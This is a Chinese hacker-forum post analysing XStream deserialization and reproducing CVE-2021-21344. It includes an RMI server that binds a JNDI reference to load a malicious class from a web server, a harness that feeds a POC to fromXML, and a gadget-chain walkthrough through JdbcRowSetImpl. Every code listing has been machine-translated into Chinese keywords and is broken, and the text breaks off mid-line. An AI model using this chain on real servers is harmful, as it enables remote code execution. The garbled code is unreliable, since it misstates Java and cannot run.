跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Java安全之XStream漏洞分析与利用

精选回复

发布于

## 1.简介

官方文档说明:

简单来说,XStream是一个可以将Java对象转换为XML的Java库。

导入Maven依赖项:aee8fead09659fbe68cf095501dfe30a.png

示例1:Java对象没有实现反序列化接口并重写readObject方法

人物类别:

````

封装Xstream;

公共类人{

私有字符串名称;

私有整数年龄;

公共人(字符串名称,整数年龄){

this.name=名称;

this.age=年龄;

}

公共字符串getName() {

返回名称;

}

公共无效setName(字符串名称){

this.name=名称;

}

公共int getAge() {

返回年龄;

}

公共无效setAge(int年龄){

this.age=年龄;

}

@覆盖

公共字符串toString() {

返回\'人{\' +

\'名称='\' + 名称+ '\\'' +

\', 年龄=\' + 年龄+

'}';

}

}

````

测试类:

````

封装Xstream;

导入com.thoughtworks.xstream.XStream;

公共类XstreamTest1 {

公共静态无效主(字符串[] args){

Person person=new Person(\'露西\', 22);

XStream xStream=new XStream();

字符串xml=xStream.toXML(person);

System.out.print(xml);

}

}

````

运行结果:03a25ca0de55e29779f06ed6804dc462.png

示例2:Java对象继承反序列化接口并重写readObject方法

汽车类别:

````

封装Xstream;

导入java.io.IOException;

导入java.io.Serialized;

公共类Car 实现可序列化{

私有字符串名称;

私人国际价格;

公共汽车(字符串名称,整数价格){

this.name=名称;

这个.价格=价格;

}

公共字符串getName() {

返回名称;

}

公共无效setName(字符串名称){

this.name=名称;

}

公共int getPrice() {

退货价格;

}

公共无效setPrice(int价格){

这个.价格=价格;

}

private void readObject(java.io.ObjectInputStream s) 抛出IOException, ClassNotFoundException {

s.defaultReadObject();

System.out.println(\'打印汽车\');

}

}

````

测试类:

````

封装Xstream;

导入com.thoughtworks.xstream.XStream;

公共类XstreamTest2 {

公共静态无效主(字符串[] args){

汽车car=new Car(\'benchi\', 2000000);

XStream xStream=new XStream();

字符串xml=xStream.toXML(car);

System.out.print(xml);

}

}

````

运行结果:633cd3eaaa371bc1e521f7143e683a5e.png

结论:Xstream在处理继承Serialized接口的类和不继承Serialized接口的类时使用了不一致的方法。

示例3:反序列化示例

````

封装Xstream;

导入com.thoughtworks.xstream.XStream;

公共类XstreamTest2 {

公共静态无效主(字符串[] args){

//反序列化

字符串xml=\'\

\' +

\' \

\' +

\' \

\' +

\'2000000\

\' +

\' 长凳\

\' +

\' \

\' +

\'\

\' +

\'\';

XStream xStream=new XStream();

汽车car=(Car) xStream.fromXML(xml);

System.out.println(汽车);

}

}

````

运行结果:

````

打印汽车

Xstream.Car@35d176f7

````

注意:反序列化时,Car必须有无参构造函数

## 2.反序列化分析

在Car类重写的readObject函数上下设置断点,看XStream的fromXML过程是否会反序列化并调用重写的readObject函数。

函数调用栈:

````

readObject:37,汽车(Xstream)

invoke0:-1,NativeMethodAccessorImpl(sun.reflect)

invoke:62,NativeMethodAccessorImpl(sun.reflect)

invoke:43,DelegatingMethodAccessorImpl (sun.reflect)

invoke:498,方法(java.lang.reflect)

callReadObject:113,SerializationMethodInvoker(com.thoughtworks.xstream.converters.reflection)

doUnmarshal:425,SerializedConverter(com.thoughtworks.xstream.converters.reflection)

unmarshal:234,AbstractReflectionConverter(com.thoughtworks.xstream.converters.reflection)

Convert:72,TreeUnmarshaller (com.thoughtworks.xstream.core)

Convert:65,AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)

ConvertAnother:66,TreeUnmarshaller (com.thoughtworks.xstream.core)

ConvertAnother:50,TreeUnmarshaller (com.thoughtworks.xstream.core)

start:134,TreeUnmarshaller (com.thoughtworks.xstream.core)

unmarshal:32,AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)

unmarshal:1058,XStream(com.thoughtworks.xstream)

unmarshal:1042,XStream(com.thoughtworks.xstream)

来自XML:913,XStream (com.thoughtworks.xstream)

来自XML:904,XStream (com.thoughtworks.xstream)

main:23,XstreamTest2(Xstream)

````

结论是如果目标对象实现了readObject函数,最终会调用这个函数

在com.thoughtworks.xstream.core的convertAnother函数中,调用lookupConverterForType函数根据类型选择正确的转换器。

````

公共对象convertAnother(对象父级,类类型,转换器转换器){

类型=mapper.defaultImplementationOf(类型);

如果(转换器==空){

转换器=converterLookup.lookupConverterForType(类型);

} 否则{

if (!converter.canConvert(type)) {

ConversionException e=新ConversionException(

\'显式选择的转换器无法处理类型\');

e.add(\'item-type\', type.getName());

e.add(\'转换器类型\', converter.getClass().getName());

扔e;

}

}

返回转换(父级,类型,转换器);

}

````

执行com/thoughtworks/xstream/core/DefaultConverterLookup.java的lookupConverterForType函数时,将根据类型选择转换器

````

公共转换器lookupConverterForType(类类型){

转换器cachedConverter=(Converter) typeToConverterMap.get(type);

如果(cachedConverter!=null){

返回缓存转换器;

}

迭代器iterator=converters.iterator();

while (iterator.hasNext()) {

转换器转换器=(转换器) iterator.next();

if (converter.canConvert(type)) {

typeToConverterMap.put(类型,转换器);

返回转换器;

}

}

throw new ConversionException(\'没有为\' + type 指定转换器);

}

````

iterator中一共有57个,一一匹配8a45e2fbb18a106fc6dfc339783d7230.png

这里的转换器是SerializedConverter

如果目标对象没有实现readObject函数,在fromXML过程中会发生什么?1bd798d0c4b61f840a839f7fd1b79ae0.png

同样通过lookupConverterForType函数后,它的转换器是ReflectionConverter

**总结**

总而言之,XStream 为常见的Java 类型提供了不同的转换器。其思想是使用不同的转换器来处理序列化数据中不同类型的数据。

### 3.漏洞汇总50aebf740906966c7dda73509d8853f6.png

b40c2d05a2457789828d5edeeebb40a9.png

参考:https://x-stream.github.io/security.html

### 4.CVE-2021-21344

**受影响版本**:=1.4.15

**测试环境**:XStream1.4.15 jdk1.8_66

**复发**:

继续使用JNDI中使用的RMI Server:

````

封装JNDI;

导入com.sun.jndi.rmi.registry.ReferenceWrapper;

导入javax.naming.Reference;

导入java.rmi.registry.LocateRegistry;

导入java.rmi.registry.Registry;

公共类ReferServer {

公共静态无效主(字符串[] args)抛出异常{

注册表registry=LocateRegistry.createRegistry(7777);

//创建引用对象

参考引用=new Reference(\'测试\', \'测试\', \'http://127.0.0.1:8080/\');

//由于Reference类没有继承Remote接口,所以需要使用ReferenceWrapper进行封装

ReferenceWrapper 包装器=new ReferenceWrapper(reference);

registry.bind(\'exec\', 包装器);

}

}

````

Test是一个恶意类,它会在其相应的文件夹中打开Web服务。

POC:官方的POC,里面的RMI地址需要修改为09a416add460ef3b8e08c851582ec7fb.png

57b3efeaf0d4173b92b4a7ed6a2e14f8.png

d9a3b1bfeb7f0145b37d6c8930adafbb.png

a38237b5997f765f35c9917414c385c8.png

测试文件:里面的xml就是上面的POC

````

封装Xstream;

导入com.thoughtworks.xstream.XStream;

公共类CVE202121344 {

公共静态无效主(字符串[] args){

XStream xStream=new XStream();

字符串xml=\'\';

xStream.fromXML(xml);

}

}

````

**分析**:

第一个:java.util.PriorityQueue

根据POC的根节点,使用了PriorityQueue,这也是链条的第一步。它的readObject函数会在反序列化过程中被调用。

在CC2中,我了解到这条链的触发点是比较器的比较函数。在POC 中,compara 设置为sun.awt.datatransfer.DataTransferer$IndexOrderComparator。

第二:sun.awt.datatransfer.DataTransferer

成功设置比较器后,调用PriorityQueue函数的siftDownUsingComparator方法后,会成功跳转到DataTransferer的compare方法,然后就出现了一定的链条我还没有理解。

第三:com.sun.rowset.JdbcRowSetImpl

来到JdbcRowSetImpl的getDatabaseMetaData方法,这里调用了connect方法

````

公共DatabaseMetaData getDatabaseMetaData() 抛出SQLException {

连接var1=this.connect();

返回var1.getMetaData();

}

````

该链已在fastjson中使用,查看其connect方法

````

私有连接connect() 抛出SQLException {

if (this.conn !=null) {

返回this.conn;

} else if (this.getDataSourceName() !=null) {

尝试{

InitialContext var1=新的InitialContext();

数据源var2=(数据源)va

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。